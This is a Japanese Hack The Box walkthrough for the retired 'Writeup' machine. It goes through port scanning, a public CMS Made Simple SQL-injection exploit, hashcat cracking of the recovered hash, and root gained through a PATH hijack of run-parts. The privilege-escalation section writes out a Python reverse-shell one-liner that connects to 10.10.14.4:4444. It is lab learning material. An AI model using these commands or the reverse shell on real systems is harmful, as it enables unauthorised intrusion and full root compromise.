「Hack The Box」という、ペネトレーションテストの学習プラットフォームを利用してセキュリティについて学んでいます。 「Hack The Box」のランクは、本記事執筆時点でProHackerです。
今回は、HackTheBoxのリタイアマシン「Writeup」のWriteUpです。
本記事について
本記事の内容は社会秩序に反する行為を推奨することを目的としたものではございません。
自身の所有する環境、もしくは許可された環境以外への攻撃の試行は、「不正アクセス行為の禁止等に関する法律(不正アクセス禁止法)」に違反する可能性があること、予めご留意ください。
またすべての発言は所属団体ではなく個人に帰属します。
もくじ
探索
とりあえずいつも通りのポートスキャンから始めます。
# ターゲットマシンのIPをHOSTSに追加して高速スキャン
sudo sed -i 's/^[0-9].*$RHOST/10.10.10.138 $RHOST/g' /etc/hosts
nmap -sV -sC -Pn -T4 $RHOST| tee nmap1.txt
# All ports
nmap -p- $RHOST -Pn -sC -sV -A | tee nmap_max.txt
80番ポートが開いているようなので確認します。
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 dd:53:10:70:0b:d0:47:0a:e2:7e:4a:b6:42:98:23:c7 (RSA)
| 256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_ 256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Nothing here yet.
| http-robots.txt: 1 disallowed entry
|_/writeup/
|_http-server-header: Apache/2.4.25 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
ここで気になるのは以下の部分です。
どうやらユーザエージェントがwriteup
にアクセスしないように制御しているようです。
http-robots.txt: 1 disallowed entry
|_/writeup/
参考:What is a ‘disallowed entry’ when nmap scans through the Robots.txt file? - Stack Overflow
robotsはこんな感じでした。
# __
# _(\ |@@|
# (__/\__ \--/ __
# \___|----| | __
# \ }{ /\ )_ / _\
# /\__/\ \__O (__
# (--/\--) \__/
# _)( )(_
# `---''---`
# Disallow access to the blog until content is finished.
User-agent: *
Disallow: /writeup/
とりあえず80番ポートにアクセスして見ると、以下のような表示がされました。
ついでにwriteup
のページもなぜか普通に表示されました。
robotsで制限されているのかと思ったものの、特にアクセスの制限はかかっていなさそうです。
中身を見るといくつかのHTBマシンのWriteupが記載されているようです。
しかし、このマシンのWriteupについては書きかけの状態で有益な情報はありませんでした。
また、gobusterで探索をかけようとするとエラーになり、その後しばらくブラウザアクセスもできなくなりました。
どうやらDoSプロテクションの類が動作しているようで、400番台のエラーを監視しているようです。
ここで、Writeupのページですが、以下のようにGETクエリでアクセスする方式でした。
例:http://10.10.10.138/writeup/index.php?page=ypuffy
User取得
恐らくですが、page=にファイル名をセットすることでサーバ内のテキストを取得してきていそうです。
しかし、ここの探索は上手くいきませんでした。
続いて、ページのソースからCMS Made Simple
を使用していることがわかったので、このウールに対するエクスプロイトをいくつか試していきます。
いくつか調べた中で以下のエクスプロイトが見つかりました。
どうやらブラインドSQLインジェクションができるようです。
$ searchsploit -m php/webapps/46635.py
エクスプロイトを実行した結果、ユーザ名とパスワードハッシュが取得できました。
出力されたソルトとパスワードハッシュを$hash:$salt
の形式にしてmd5($salt.$pass)
でクラックしたところパスワードが取得できました。
$ hashcat -a 0 -m 20 ./hash /usr/share/wordlists/rockyou.txt
このパスワードを使用してSSH接続を行うことで、Userが取得できます。
権限昇格
pspyを仕掛けた状態でfail2banを動作させると以下のタスクの実行が確認されました。
PID=22658 | iptables -w -I f2b-apache-404 1 -s 10.10.14.4 -j REJECT --reject-with icmp-port-unreachable
fail2banはroot権限で動作しているようなので、ここを起点に特権取得ができないかと思い探索を行いましたが、設定ファイルや/etc/fail2ban
配下の権限を確認したものの有効な情報は確認できませんでした。
$ cat /etc/fail2ban/jail.local
[INCLUDES]
before = paths-debian.conf
[DEFAULT]
ignoreip = 127.0.0.1/8
bantime = 120
maxretry = 10
[sshd]
enabled = true
[apache-404]
enabled = true
port = http
filter = apache-404
logpath = /var/log/apache2/access.log tail
maxretry = 30
$ cat /etc/fail2ban/filter.d/apache-404.conf
[INCLUDES]
before = apache-common.conf
[Definition]
failregex = ^<HOST> .* 40[1234]$
ここで、linpeasの出力結果からユーザjrtが様々なグループに属していることを確認しました。
$ id
uid=1000(jkr) gid=1000(jkr) groups=1000(jkr),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),50(staff),103(netdev)
この結果から、いくつか気になるグループに対して所有者がrootであり、かつgroupが検索対象に該当し、書き込みが可能なものをfindコマンドで探索しました。
$ find / -user root -group jkr -ls -writable 2>/dev/null
$ find / -user root -group staff -ls -writable 2>/dev/null
189 4 drwxrwsr-x 2 root staff 4096 Jun 3 2018 /var/local
131445 20 drwx-wsr-x 2 root staff 20480 Apr 19 2019 /usr/local/bin
また、linpeasの結果からPATHに/usr/local/bin
が追加されていることがわかります。
しかし、pspyの結果を見ても、ほとんどのコマンドは/usr/bin
配下などのモジュールがフルパスで指定されていました。
唯一、SSHログオンした場合のrun-parts --lsbsysinit /etc/update-motd.d
のみ、パスの指定なく実行されているようです。
$ sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new
ここで、PATHに/usr/local/bin
が含まれているため、この中にコマンドを埋め込んだファイルを書き込むことで任意のコマンドを実行できます。
通常であればLinuxの場合は、先頭に書かれたPATHが優先されます。
しかし、なぜか/usr/bin
がPATHに存在している状況では、/usr/local/bin
にrun-partsを埋め込んでも実行が優先されませんでした。
色々と確認してみたところ、定期的に実行される以下のタスクが実行されると/usr/local/bin
に配置したモジュールが削除されるようです。
$ /bin/sh -c /root/bin/cleanup.pl >/dev/null 2>&1
これが原因で上手く実行されなかったようです。
というわけで、以下のコマンドでrun-partsを書き換え、すぐに他のターミナルからSSH接続を行うことで、rootのシェルを取得することができました。
$ echo "python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.4\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")'" > /usr/local/sbin/run-parts; chmod +x /usr/local/sbin/run-parts
まとめ
かなり学びの多いマシンだったように思います。
雰囲気で扱っていたgroupやユーザのパーミッション周りについて非常に勉強になりました。